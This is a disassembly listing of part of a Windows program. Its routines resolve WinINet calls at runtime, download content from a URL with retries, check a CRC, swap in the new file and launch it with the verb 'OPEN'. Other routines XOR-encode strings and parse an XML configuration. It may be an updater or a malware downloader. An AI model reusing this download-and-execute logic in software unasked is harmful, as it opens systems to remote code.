push offset aInternetopena ; "InternetOpenA"
mov ecx, [ebp+var_1C]
push ecx
call dword_433060 ; GetProcAddress
mov [ebp+var_202C], eax
push offset aInternetopenur ; "InternetOpenUrlA"
mov edx, [ebp+var_1C]
push edx
call dword_433060 ; GetProcAddress
mov [ebp+var_8], eax
push offset aInternetcloseh ; "InternetCloseHandle"
mov eax, [ebp+var_1C]
push eax
call dword_433060 ; GetProcAddress
mov [ebp+var_10], eax
push offset aInternetreadfi ; "InternetReadFile"
mov ecx, [ebp+var_1C]
push ecx
call dword_433060 ; GetProcAddress
mov [ebp+var_18], eax
mov edx, [ebp+var_2034]
mov dword ptr [edx+4], 0
mov [ebp+var_20], 0
mov [ebp+var_2024], 0
mov [ebp+var_C], 0
push 0
push 0
push 0
push 1
push 0
call [ebp+var_202C]
mov [ebp+var_20], eax
cmp [ebp+var_20], 0
jnz short loc_422898
xor eax, eax
jmp loc_4229EA
; ---------------------------------------------------------------------------
loc_422898: ; CODE XREF: sub_4227A4+EBj
push 0
push 9
push 0
push 0
mov eax, [ebp+arg_0]
push eax
mov ecx, [ebp+var_20]
push ecx
call [ebp+var_8]
mov [ebp+var_2024], eax
cmp [ebp+var_2024], 0
jnz short loc_4228C1
xor eax, eax
jmp loc_4229EA
; ---------------------------------------------------------------------------
loc_4228C1: ; CODE XREF: sub_4227A4+114j
mov [ebp+var_2028], 2000h
mov [ebp+var_4], 0
mov edx, [ebp+var_2034]
cmp dword ptr [edx+4], 0
jz short loc_4228FB
mov eax, [ebp+var_2034]
mov ecx, [eax+4]
push ecx
call dword_43304C ; GlobalFree
mov edx, [ebp+var_2034]
mov dword ptr [edx+4], 0
loc_4228FB: ; CODE XREF: sub_4227A4+138j
push 0
push 40h
call dword_43305C ; GlobalAlloc
mov ecx, [ebp+var_2034]
mov [ecx+4], eax
loc_42290E: ; CODE XREF: sub_4227A4+1F9j
lea edx, [ebp+var_14]
push edx
push 1FFFh
lea eax, [ebp+var_2020]
push eax
mov ecx, [ebp+var_2024]
push ecx
call [ebp+var_18]
test eax, eax
jz short loc_4229A2
cmp [ebp+var_14], 0
jnz short loc_422934
jmp short loc_4229A2
; ---------------------------------------------------------------------------
loc_422934: ; CODE XREF: sub_4227A4+18Cj
mov edx, [ebp+var_14]
mov [ebp+edx+var_2020], 0
cmp [ebp+var_14], 2000h
jnb short loc_422952
mov [ebp+var_2030], 0
loc_422952: ; CODE XREF: sub_4227A4+1A2j
push 2
mov eax, [ebp+var_4]
add eax, [ebp+var_14]
push eax
mov ecx, [ebp+var_2034]
mov edx, [ecx+4]
push edx
call dword_433058 ; GlobalReAlloc
mov ecx, [ebp+var_2034]
mov [ecx+4], eax
mov edx, [ebp+var_14]
push edx
lea eax, [ebp+var_2020]
push eax
mov ecx, [ebp+var_2034]
mov edx, [ecx+4]
add edx, [ebp+var_4]
push edx
call sub_4318C4 ; memcpy
add esp, 0Ch
mov eax, [ebp+var_4]
add eax, [ebp+var_14]
mov [ebp+var_4], eax
jmp loc_42290E
; ---------------------------------------------------------------------------
loc_4229A2: ; CODE XREF: sub_4227A4+186j
; sub_4227A4+18Ej
cmp [ebp+var_20], 0
jz short loc_4229AF
mov ecx, [ebp+var_20]
push ecx
call [ebp+var_10]
loc_4229AF: ; CODE XREF: sub_4227A4+202j
cmp [ebp+var_2024], 0
jz short loc_4229C2
mov edx, [ebp+var_2024]
push edx
call [ebp+var_10]
loc_4229C2: ; CODE XREF: sub_4227A4+212j
cmp [ebp+var_C], 0
jz short loc_4229CF
mov eax, [ebp+var_C]
push eax
call [ebp+var_10]
loc_4229CF: ; CODE XREF: sub_4227A4+222j
mov ecx, [ebp+var_1C]
push ecx
call dword_433054 ; FreeLibrary
mov edx, [ebp+arg_4]
mov eax, [ebp+var_2034]
mov ecx, [eax+4]
mov [edx], ecx
mov eax, [ebp+var_4]
loc_4229EA: ; CODE XREF: sub_4227A4+1Bj
; sub_4227A4+5Fj ...
mov esp, ebp
pop ebp
retn 8
sub_4227A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4229F0 proc near ; DATA XREF: TEUm:off_4332CCo
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], ecx
mov ecx, [ebp+var_4]
call sub_4226C7
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_422A15
mov ecx, [ebp+var_4]
push ecx
call sub_43177E
add esp, 4
loc_422A15: ; CODE XREF: sub_4229F0+17j
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn 4
sub_4229F0 endp
; =============== S U B R O U T I N E =======================================
sub_422A1E proc near ; CODE XREF: sub_429850+34p
mov eax, offset loc_431E0B
call sub_4318CA ; _EH_prolog
sub esp, 284h
push ebx
push esi
mov esi, ecx
push edi
mov [ebp-1Ch], esi
call sub_4317AE
and dword ptr [ebp-4], 0
lea ecx, [esi+4]
call sub_4317AE
lea ebx, [esi+8]
mov byte ptr [ebp-4], 1
mov ecx, ebx
call sub_4317AE
lea ecx, [esi+10h]
mov byte ptr [ebp-4], 2
call sub_4317AE
lea ecx, [esi+14h]
mov byte ptr [ebp-4], 3
call sub_4317AE
lea edi, [esi+1Ch]
mov byte ptr [ebp-4], 4
mov ecx, edi
call sub_4317AE
lea ecx, [esi+20h]
mov byte ptr [ebp-4], 5
call sub_4317AE
lea ecx, [esi+24h]
mov byte ptr [ebp-4], 6
call sub_4317AE
lea ecx, [esi+202Ch]
mov byte ptr [ebp-4], 7
call sub_4226B0
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 8
call sub_4317AE
lea eax, [ebp-290h]
push 125h
push eax
mov byte ptr [ebp-4], 9
call dword_4330D4 ; GetWindowsDirectoryA
lea eax, [ebp-168h]
push 104h
push eax
push 0
call dword_4330D8 ; GetModuleFileNameA
lea eax, [ebp-290h]
mov ecx, edi
push eax
call sub_43179C
mov edi, dword_4330E0
push 20h
call edi ; Sleep
lea eax, [ebp-168h]
lea ecx, [esi+20h]
push eax
call sub_43179C
lea eax, [ebp-44h]
push 1
push eax
mov ecx, esi
call sub_424B41
lea eax, [ebp-44h]
mov ecx, ebx
push eax
call sub_43179C
push 24h
call edi ; Sleep
push 47h
lea eax, [ebp-18h]
push offset aD ; "%d"
push eax
call dword_4331E4 ; sprintf
add esp, 0Ch
push 25h
call edi ; Sleep
lea eax, [ebp-18h]
mov ecx, esi
push eax
call sub_43179C
push ecx
mov eax, esp
mov [ebp-10h], esp
push esi
push ebx
push eax
call sub_4317B4
lea eax, [ebp-10h]
mov ecx, esi
push eax
call sub_422FB0
push eax
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 0Ah
call sub_4317A8
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 9
call sub_4317A2
push ecx
lea eax, [ebp-14h]
mov ecx, esp
mov [ebp-10h], esp
push eax
call sub_431796
mov ecx, esi
call sub_425746
test al, al
jz short loc_422B90
mov byte ptr [esi+18h], 1
jmp short loc_422B94
; ---------------------------------------------------------------------------
loc_422B90: ; CODE XREF: sub_422A1E+16Aj
push 25h
call edi ; Sleep
loc_422B94: ; CODE XREF: sub_422A1E+170j
lea ecx, [ebp-14h]
mov byte ptr [ebp-4], 8
call sub_4317A2
mov ecx, [ebp-0Ch]
mov eax, esi
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn
sub_422A1E endp
; =============== S U B R O U T I N E =======================================
sub_422BB1 proc near ; CODE XREF: sub_4297D0+4Dp
; TEUm:004327B2p ...
mov eax, offset loc_431E6D
call sub_4318CA ; _EH_prolog
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
push 0
mov dword ptr [ebp-4], 7
call dword_4332B0
lea ecx, [esi+202Ch]
call sub_4226C7
lea ecx, [esi+24h]
mov byte ptr [ebp-4], 6
call sub_4317A2
lea ecx, [esi+20h]
mov byte ptr [ebp-4], 5
call sub_4317A2
lea ecx, [esi+1Ch]
mov byte ptr [ebp-4], 4
call sub_4317A2
lea ecx, [esi+14h]
mov byte ptr [ebp-4], 3
call sub_4317A2
lea ecx, [esi+10h]
mov byte ptr [ebp-4], 2
call sub_4317A2
lea ecx, [esi+8]
mov byte ptr [ebp-4], 1
call sub_4317A2
and byte ptr [ebp-4], 0
lea ecx, [esi+4]
call sub_4317A2
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_4317A2
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_422BB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422C48 proc near ; CODE XREF: sub_422ECA+30p
var_1844 = byte ptr -1844h
var_1044 = byte ptr -1044h
var_844 = byte ptr -844h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = byte ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = byte ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1844h
call sub_431860
push ebx
push esi
push edi
mov edi, dword_4330CC
push [ebp+arg_8]
lea eax, [ebp+var_1044]
mov [ebp+var_4], ecx
push eax
call edi ; lstrcpyA
push [ebp+arg_C]
mov esi, dword_433074
lea eax, [ebp+var_1044]
push eax
call esi ; lstrcatA
lea eax, [ebp+var_1044]
push offset a_bin ; ".bin"
push eax
call esi ; lstrcatA
push [ebp+arg_8]
lea eax, [ebp+var_1844]
push eax
call edi ; lstrcpyA
push [ebp+arg_C]
lea eax, [ebp+var_1844]
push eax
call esi ; lstrcatA
cmp byte ptr [ebp+arg_14], 0
mov [ebp+arg_C], 3
mov [ebp+var_8], 1
jz short loc_422CBD
and [ebp+var_8], 0
loc_422CBD: ; CODE XREF: sub_422C48+6Fj
push ecx
mov ecx, esp
mov [ebp+arg_14], esp
push offset aInstallzip ; "InstallZip()\n"
call sub_43178A
mov ecx, [ebp+var_4]
call sub_424B35
mov ebx, dword_4330E0
loc_422CDB: ; CODE XREF: sub_422C48+10Bj
lea eax, [ebp+var_1044]
push eax
mov eax, [ebp+var_4]
push [ebp+arg_0]
lea ecx, [eax+202Ch]
call sub_4226DB
test al, al
jz short loc_422D45
lea eax, [ebp+var_1044]
push eax
call sub_4221DB
test eax, eax
pop ecx
jz short loc_422D45
cmp [ebp+arg_1C], 0
jz short loc_422D5E
push [ebp+arg_1C]
push ecx
mov ecx, esp
mov [ebp+arg_14], esp
push [ebp+arg_8]
call sub_43178A
mov ecx, [ebp+var_4]
call sub_424AAF
cmp al, 1
jz short loc_422D5E
lea eax, [ebp+var_844]
push offset aCrcFailed ; "crc failed:"
push eax
call edi ; lstrcpyA
push [ebp+arg_8]
lea eax, [ebp+var_844]
push eax
call esi ; lstrcatA
loc_422D45: ; CODE XREF: sub_422C48+ADj
; sub_422C48+BEj
dec [ebp+arg_C]
push 0EA80h
call ebx ; Sleep
cmp [ebp+arg_C], 0
jnz short loc_422CDB
loc_422D55: ; CODE XREF: sub_422C48+207j
xor al, al
loc_422D57: ; CODE XREF: sub_422C48+27Dj
pop edi
pop esi
pop ebx
leave
retn 24h
; ---------------------------------------------------------------------------
loc_422D5E: ; CODE XREF: sub_422C48+C4j
; sub_422C48+E1j
push [ebp+arg_8]
mov ecx, [ebp+var_4]
lea eax, [ebp+var_1044]
push eax
call sub_424A2E
test al, al
jz loc_422EC3
cmp [ebp+arg_10], 0
jz loc_422EC3
push [ebp+arg_8]
call sub_4221DB
test eax, eax
pop ecx
jz short loc_422DDD
push [ebp+arg_8]
lea eax, [ebp+var_844]
push eax
call edi ; lstrcpyA
lea eax, [ebp+var_844]
push offset a_old ; ".old"
push eax
call esi ; lstrcatA
lea eax, [ebp+var_844]
push 1
push eax
push [ebp+arg_8]
call sub_421D8A
lea eax, [ebp+var_844]
push eax
call sub_4221DB
add esp, 10h
test eax, eax
jz short loc_422DDD
lea eax, [ebp+var_844]
push 1
push eax
call sub_421C92
pop ecx
pop ecx
loc_422DDD: ; CODE XREF: sub_422C48+145j
; sub_422C48+183j
lea eax, [ebp+var_844]
push offset aCrcOkInstall ; "crc ok, Install("
push eax
call edi ; lstrcpyA
push [ebp+arg_8]
lea eax, [ebp+var_844]
push eax
call esi ; lstrcatA
lea eax, [ebp+var_844]
push offset asc_4370B4 ; ")"
push eax
call esi ; lstrcatA
push ecx
lea eax, [ebp+var_844]
mov ecx, esp
mov [ebp+arg_14], esp
push eax
call sub_43178A
mov ecx, [ebp+var_4]
call sub_424B35
lea eax, [ebp+var_1044]
push eax
call sub_4221DB
test eax, eax
pop ecx
jz short loc_422E40
lea eax, [ebp+var_1044]
push 1
push eax
call sub_421C92
pop ecx
pop ecx
loc_422E40: ; CODE XREF: sub_422C48+1E6j
lea eax, [ebp+var_1844]
push eax
call sub_4221DB
test eax, eax
pop ecx
jz loc_422D55
push 29h
call ebx ; Sleep
push 42h
call ebx ; Sleep
push 3Ch
lea eax, [ebp+var_44]
pop esi
push esi
push 0
push eax
call sub_4318B2 ; memset
lea eax, [ebp+var_1844]
add esp, 0Ch
mov [ebp+var_34], eax
mov eax, [ebp+arg_4]
mov [ebp+var_30], eax
mov eax, [ebp+var_8]
push 63h
mov [ebp+var_44], esi
mov [ebp+var_38], offset aOpen ; "OPEN"
mov [ebp+var_28], eax
call ebx ; Sleep
push 0ADh
mov [ebp+var_40], 40h
call ebx ; Sleep
cmp [ebp+arg_C], 0
jle short loc_422EC3
mov ecx, [ebp+var_4]
lea eax, [ebp+var_44]
push eax
call sub_42640B
cmp [ebp+arg_18], 0
jz short loc_422EC3
push 0FFFFFFFFh
push [ebp+var_C]
call dword_4330D0 ; WaitForSingleObject
loc_422EC3: ; CODE XREF: sub_422C48+12Aj
; sub_422C48+134j ...
mov al, 1
jmp loc_422D57
sub_422C48 endp
; =============== S U B R O U T I N E =======================================
sub_422ECA proc near ; CODE XREF: sub_424606+262p
mov eax, offset loc_431E78
call sub_4318CA ; _EH_prolog
push ecx
push ebx
push esi
push edi
and dword ptr [ebp-4], 0
mov [ebp-10h], esp
push dword ptr [ebp+28h]
push dword ptr [ebp+24h]
push dword ptr [ebp+20h]
push dword ptr [ebp+1Ch]
push dword ptr [ebp+18h]
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_422C48
test al, al
setnz al
jmp short loc_422F0E
; ---------------------------------------------------------------------------
loc_422F06: ; DATA XREF: TEUm:00434F94o
mov eax, offset loc_422F0C
retn
; ---------------------------------------------------------------------------
loc_422F0C: ; DATA XREF: sub_422ECA:loc_422F06o
xor al, al
loc_422F0E: ; CODE XREF: sub_422ECA+3Aj
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 24h
sub_422ECA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422F1F proc near ; CODE XREF: sub_42852F+617p
var_868 = byte ptr -868h
var_68 = byte ptr -68h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 868h
push ebx
push esi
push edi
mov esi, dword_4330CC
push 3
lea eax, [ebp+var_868]
pop edi
mov ebx, ecx
push [ebp+arg_0]
push eax
call esi ; lstrcpyA
add ebx, 202Ch
loc_422F48: ; CODE XREF: sub_422F1F+85j
push [ebp+arg_4]
lea eax, [ebp+var_868]
mov ecx, ebx
push eax
call sub_4227A4
test eax, eax
mov [ebp+var_4], eax
jbe short loc_422F62
xor edi, edi
loc_422F62: ; CODE XREF: sub_422F1F+3Fj
test edi, edi
jz short loc_422FA6
dec edi
lea eax, [ebp+var_68]
push edi
push offset aRetryD ; "&retry=%d"
push eax
call dword_4331E4 ; sprintf
add esp, 0Ch
lea eax, [ebp+var_868]
push [ebp+arg_0]
push eax
call esi ; lstrcpyA
lea eax, [ebp+var_68]
push eax
lea eax, [ebp+var_868]
push eax
call dword_433074 ; lstrcatA
push 49400h
call dword_4330E0 ; Sleep
test edi, edi
jnz short loc_422F48
loc_422FA6: ; CODE XREF: sub_422F1F+45j
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn 8
sub_422F1F endp
; =============== S U B R O U T I N E =======================================
sub_422FB0 proc near ; CODE XREF: sub_422A1E+134p
; sub_424606+F9p ...
mov eax, offset loc_431EAB
call sub_4318CA ; _EH_prolog
mov eax, 4010h
call sub_431860
and dword ptr [ebp-1Ch], 0
push ebx
push esi
push edi
mov dl, ds:byte_439CB0
mov esi, 7FFh
mov ecx, esi
xor eax, eax
lea edi, [ebp-201Bh]
mov [ebp-201Ch], dl
rep stosd
stosw
stosb
mov ecx, esi
xor eax, eax
lea edi, [ebp-401Bh]
mov [ebp-401Ch], dl
rep stosd
stosw
lea ecx, [ebp-10h]
mov dword ptr [ebp-4], 1
stosb
call sub_4317AE
push offset dword_437110
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 2
call sub_43179C
mov eax, [ebp+0Ch]
xor esi, esi
mov ebx, [eax-8]
test ebx, ebx
jle short loc_42306F
mov edi, [ebp-10h]
mov [ebp-14h], eax
lea eax, [ebp-201Ch]
sub [ebp-14h], eax
loc_42303B: ; CODE XREF: sub_422FB0+BDj
test esi, esi
jle short loc_423054
mov ecx, [edi-8]
mov eax, esi
cdq
idiv ecx
test eax, eax
mov eax, esi
jle short loc_423056
cdq
idiv ecx
mov eax, edx
jmp short loc_423056
; ---------------------------------------------------------------------------
loc_423054: ; CODE XREF: sub_422FB0+8Dj
mov eax, esi
loc_423056: ; CODE XREF: sub_422FB0+9Bj
; sub_422FB0+A2j
mov edx, [ebp-14h]
mov al, [eax+edi]
lea ecx, [ebp+esi-201Ch]
mov dl, [edx+ecx]
xor al, dl
inc esi
cmp esi, ebx
mov [ecx], al
jl short loc_42303B
loc_42306F: ; CODE XREF: sub_422FB0+7Aj
xor esi, esi
test ebx, ebx
jle short loc_4230A9
loc_423075: ; CODE XREF: sub_422FB0+F7j
movzx eax, byte ptr [ebp+esi-201Ch]
push eax
lea eax, [ebp-16h]
push offset a02x ; "%02X"
push eax
call dword_4331E4 ; sprintf
lea eax, [ebp-16h]
push eax
lea eax, [ebp-401Ch]
push eax
call sub_4318D0 ; strcat
mov eax, [ebp+0Ch]
add esp, 14h
inc esi
cmp esi, [eax-8]
jl short loc_423075
loc_4230A9: ; CODE XREF: sub_422FB0+C3j
push offset byte_439CB0
lea ecx, [ebp+0Ch]
call sub_43179C
mov ecx, [ebp+8]
lea eax, [ebp-401Ch]
push eax
call sub_43178A
mov dword ptr [ebp-1Ch], 1
lea ecx, [ebp-10h]
mov byte ptr [ebp-4], 1
call sub_4317A2
and byte ptr [ebp-4], 0
lea ecx, [ebp+0Ch]
call sub_4317A2
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 8
sub_422FB0 endp
; =============== S U B R O U T I N E =======================================
sub_4230F8 proc near ; CODE XREF: sub_424B41+F3p
; sub_424B41+142p ...
mov eax, offset loc_431EE7
call sub_4318CA ; _EH_prolog
mov eax, 6018h
call sub_431860
mov dl, ds:byte_439CB0
push ebx
push esi
mov [ebp-20h], ecx
mov esi, 7FFh
push edi
mov ecx, esi
xor eax, eax
lea edi, [ebp-4023h]
mov [ebp-4024h], dl
rep stosd
stosw
stosb
mov ecx, esi
xor eax, eax
lea edi, [ebp-2023h]
mov [ebp-2024h], dl
rep stosd
stosw
xor ebx, ebx
lea ecx, [ebp-10h]
mov [ebp-1Ch], ebx
stosb
call sub_4317AE
lea ecx, [ebp-18h]
mov dword ptr [ebp-4], 1
call sub_4317AE
push 63h
mov byte ptr [ebp-4], 2
call dword_4330E0 ; Sleep
mov esi, [ebp+10h]
lea eax, [esi+1]
push eax
lea eax, [ebp-6024h]
push dword ptr [ebp+0Ch]
push eax
call dword_4330C8 ; lstrcpynA
push offset dword_437110
lea ecx, [ebp-10h]
call sub_43179C
mov [ebp+10h], esi
xor edi, edi
shr dword ptr [ebp+10h], 1
jz loc_423231
loc_4231A1: ; CODE XREF: sub_4230F8+133j
test ebx, ebx
jle short loc_4231BD
mov eax, [ebp-10h]
mov ecx, [eax-8]
mov eax, edi
cdq
idiv ecx
test eax, eax
jle short loc_4231BD
mov eax, edi
cdq
idiv ecx
mov esi, edx
jmp short loc_4231BF
; ---------------------------------------------------------------------------
loc_4231BD: ; CODE XREF: sub_4230F8+ABj
; sub_4230F8+BAj
mov esi, edi
loc_4231BF: ; CODE XREF: sub_4230F8+C3j
push 2
lea eax, [ebp-6024h]
push ebx
push eax
lea eax, [ebp+0Ch]
lea ecx, [ebp-24h]
push eax
call sub_421ACF
push eax
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 3
call sub_4317A8
lea ecx, [ebp+0Ch]
mov byte ptr [ebp-4], 2
call sub_4317A2
push dword ptr [ebp-18h]
mov ecx, [ebp-20h]
call sub_423288
mov ecx, [ebp-10h]
movsx ecx, byte ptr [esi+ecx]
xor eax, ecx
push eax
lea eax, [ebp-12h]
push offset dword_437120
push eax
call dword_4331E4 ; sprintf
lea eax, [ebp-12h]
push eax
lea eax, [ebp-2024h]
push eax
call sub_4318D0 ; strcat
add esp, 14h
inc edi
inc ebx
inc ebx
cmp edi, [ebp+10h]
jb loc_4231A1
loc_423231: ; CODE XREF: sub_4230F8+A3j
lea eax, [ebp-2024h]
push eax
lea eax, [ebp-4024h]
push eax
call sub_4318B8 ; strcpy
pop ecx
lea eax, [ebp-4024h]
pop ecx
mov ecx, [ebp+8]
push eax
call sub_43178A
mov dword ptr [ebp-1Ch], 1
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 1
call sub_4317A2
and byte ptr [ebp-4], 0
lea ecx, [ebp-10h]
call sub_4317A2
mov ecx, [ebp-0Ch]
mov eax, [ebp+8]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 0Ch
sub_4230F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_423288 proc near ; CODE XREF: sub_4230F8+FCp
var_80 = byte ptr -80h
var_7C = dword ptr -7Ch
var_78 = byte ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6C = dword ptr -6Ch
var_68 = byte ptr -68h
var_64 = dword ptr -64h
var_60 = byte ptr -60h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_54 = dword ptr -54h
var_50 = byte ptr -50h
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_40 = byte ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = byte ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 80h
and [ebp+var_7C], 0
push ebx
push esi
push edi
push [ebp+arg_0]
mov [ebp+var_80], 30h
mov [ebp+var_78], 31h
mov [ebp+var_74], 1
mov [ebp+var_70], 32h
mov [ebp+var_6C], 2
mov [ebp+var_68], 33h
mov [ebp+var_64], 3
mov [ebp+var_60], 34h
mov [ebp+var_5C], 4
mov [ebp+var_58], 35h
mov [ebp+var_54], 5
mov [ebp+var_50], 36h
mov [ebp+var_4C], 6
mov [ebp+var_48], 37h
mov [ebp+var_44], 7
mov [ebp+var_40], 38h
mov [ebp+var_3C], 8
mov [ebp+var_38], 39h
mov [ebp+var_34], 9
mov [ebp+var_30], 41h
mov [ebp+var_2C], 0Ah
mov [ebp+var_28], 42h
mov [ebp+var_24], 0Bh
mov [ebp+var_20], 43h
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], 44h
mov [ebp+var_14], 0Dh
mov [ebp+var_10], 45h
mov [ebp+var_C], 0Eh
mov [ebp+var_8], 46h
mov [ebp+var_4], 0Fh
call dword_4331B0 ; _strdup
push eax
call dword_4331B4 ; _mbsupr
pop ecx
xor esi, esi
cmp byte ptr [eax], 30h
pop ecx
mov edx, eax
jnz short loc_423365
cmp byte ptr [eax+1], 58h
jnz short loc_423365
lea edx, [eax+2]
loc_423365: ; CODE XREF: sub_423288+D2j
; sub_423288+D8j
mov byte ptr [ebp+arg_0+3], 1
loc_423369: ; CODE XREF: sub_423288+10Dj
mov cl, [edx]
test cl, cl
jz short loc_423397
xor edi, edi
lea ebx, [ebp+var_80]
loc_423374: ; CODE XREF: sub_423288+F9j
cmp cl, [ebx]
jz short loc_423383
inc edi
add ebx, 8
cmp edi, 10h
jge short loc_423397
jmp short loc_423374
; ---------------------------------------------------------------------------
loc_423383: ; CODE XREF: sub_423288+EEj
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_42338C
shl esi, 4
loc_42338C: ; CODE XREF: sub_423288+FFj
or esi, [ebp+edi*8+var_7C]
inc edx
and byte ptr [ebp+arg_0+3], 0
jmp short loc_423369
; ---------------------------------------------------------------------------
loc_423397: ; CODE XREF: sub_423288+E5j
; sub_423288+F7j
push eax
call dword_4331D4 ; free
pop ecx
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn 4
sub_423288 endp
; =============== S U B R O U T I N E =======================================
sub_4233A8 proc near ; CODE XREF: sub_42852F+99Ep
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push ebp
push esi
mov esi, ecx
push edi
push ecx
mov ecx, esp
mov [esp+18h+var_4], esp
push offset dword_437124
call sub_43178A
mov ecx, esi
call sub_424B35
mov eax, [esp+14h+arg_4]
xor ebx, ebx
cmp eax, ebx
jle loc_423481
mov ecx, [esp+14h+arg_0]
mov edi, dword_4330CC
mov [esp+14h+arg_4], eax
mov ebp, offset byte_439CB0
lea esi, [ecx+4000h]
loc_4233EE: ; CODE XREF: sub_4233A8+D3j
lea eax, [esi-4000h]
push ebp
push eax
call edi ; lstrcpyA
lea eax, [esi-2000h]
push ebp
push eax
call edi ; lstrcpyA
push ebp
push esi
call edi ; lstrcpyA
lea eax, [esi+2000h]
push ebp
push eax
call edi ; lstrcpyA
lea eax, [esi+4000h]
push ebp
push eax
call edi ; lstrcpyA
lea eax, [esi+6000h]
push ebp
push eax
call edi ; lstrcpyA
lea eax, [esi+0E000h]
push ebp
push eax
call edi ; lstrcpyA
lea eax, [esi+0A000h]
push ebp
push eax
call edi ; lstrcpyA
lea eax, [esi+8000h]
push ebp
push eax
call edi ; lstrcpyA
lea eax, [esi+0C000h]
push ebp
push eax
call edi ; lstrcpyA
mov [esi+10001h], bl
mov byte ptr [esi+10002h], 1
mov [esi+10003h], bl
mov [esi+10004h], bl
mov [esi+10000h], bl
mov [esi+10008h], ebx
add esi, 1400Ch
dec [esp+14h+arg_4]
jnz loc_4233EE
loc_423481: ; CODE XREF: sub_4233A8+27j
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn 8
sub_4233A8 endp
; =============== S U B R O U T I N E =======================================
sub_423489 proc near ; CODE XREF: sub_42852F+9D6p
mov eax, offset loc_43202D
call sub_4318CA ; _EH_prolog
mov eax, 2134h
call sub_431860
push ebx
push esi
push edi
mov [ebp-28h], ecx
xor ebx, ebx
mov [ebp-4], ebx
mov [ebp-24h], ebx
mov [ebp-14h], ebx
push ecx
mov byte ptr [ebp-4], 1
mov ecx, esp
mov [ebp-2Ch], esp
push offset aParsexml ; "ParseXML()\n"
call sub_43178A
mov ecx, [ebp-28h]
call sub_424B35
cmp [ebp+8], ebx
jnz short loc_4234D9
push 80004003h
call sub_431AB2
loc_4234D9: ; CODE XREF: sub_423489+44j
mov ecx, [ebp+8]
lea eax, [ebp-1Ch]
push eax
call sub_4243E7
push dword ptr [eax]
lea ecx, [ebp-14h]
call sub_4264A7
lea ecx, [ebp-1Ch]
call sub_4264D2
mov edi, offset aS ; "%s"
loc_4234FC: ; CODE XREF: sub_423489+CA3j
push ebx
lea ecx, [ebp-14h]
call sub_4264DF
test al, al
jnz loc_424131
push offset aConfigversio_0 ; "configversion"
lea ecx, [ebp-0C0h]
call sub_424152
mov esi, eax
cmp [ebp-14h], ebx
mov byte ptr [ebp-4], 2
jnz short loc_423532
push 80004003h
call sub_431AB2
loc_423532: ; CODE XREF: sub_423489+9Dj
mov ecx, [ebp-14h]
lea eax, [ebp-84h]
push eax
call sub_42430E
push esi
mov ecx, eax
call sub_4241B9
mov ebx, eax
lea ecx, [ebp-84h]
neg ebx
sbb bl, bl
inc bl
call sub_4241A6
lea ecx, [ebp-0C0h]
mov byte ptr [ebp-4], 1
call sub_4241A6
test bl, bl
jz loc_423633
cmp dword ptr [ebp-14h], 0
jnz short loc_423583
push 80004003h
call sub_431AB2
loc_423583: ; CODE XREF: sub_423489+EEj
mov ecx, [ebp-14h]
lea eax, [ebp-0D0h]
push eax
call sub_42444B
mov ecx, [eax]
mov byte ptr [ebp-4], 3
test ecx, ecx
jz short loc_4235A3
call sub_424244
jmp short loc_4235A5
; ---------------------------------------------------------------------------
loc_4235A3: ; CODE XREF: sub_423489+111j
xor eax, eax
loc_4235A5: ; CODE XREF: sub_423489+118j
push eax
lea eax, [ebp-2140h]
push edi
push eax
call dword_4331E4 ; sprintf
add esp, 0Ch
lea ecx, [ebp-0D0h]
mov byte ptr [ebp-4], 1
call sub_4241A6
push 80000000h
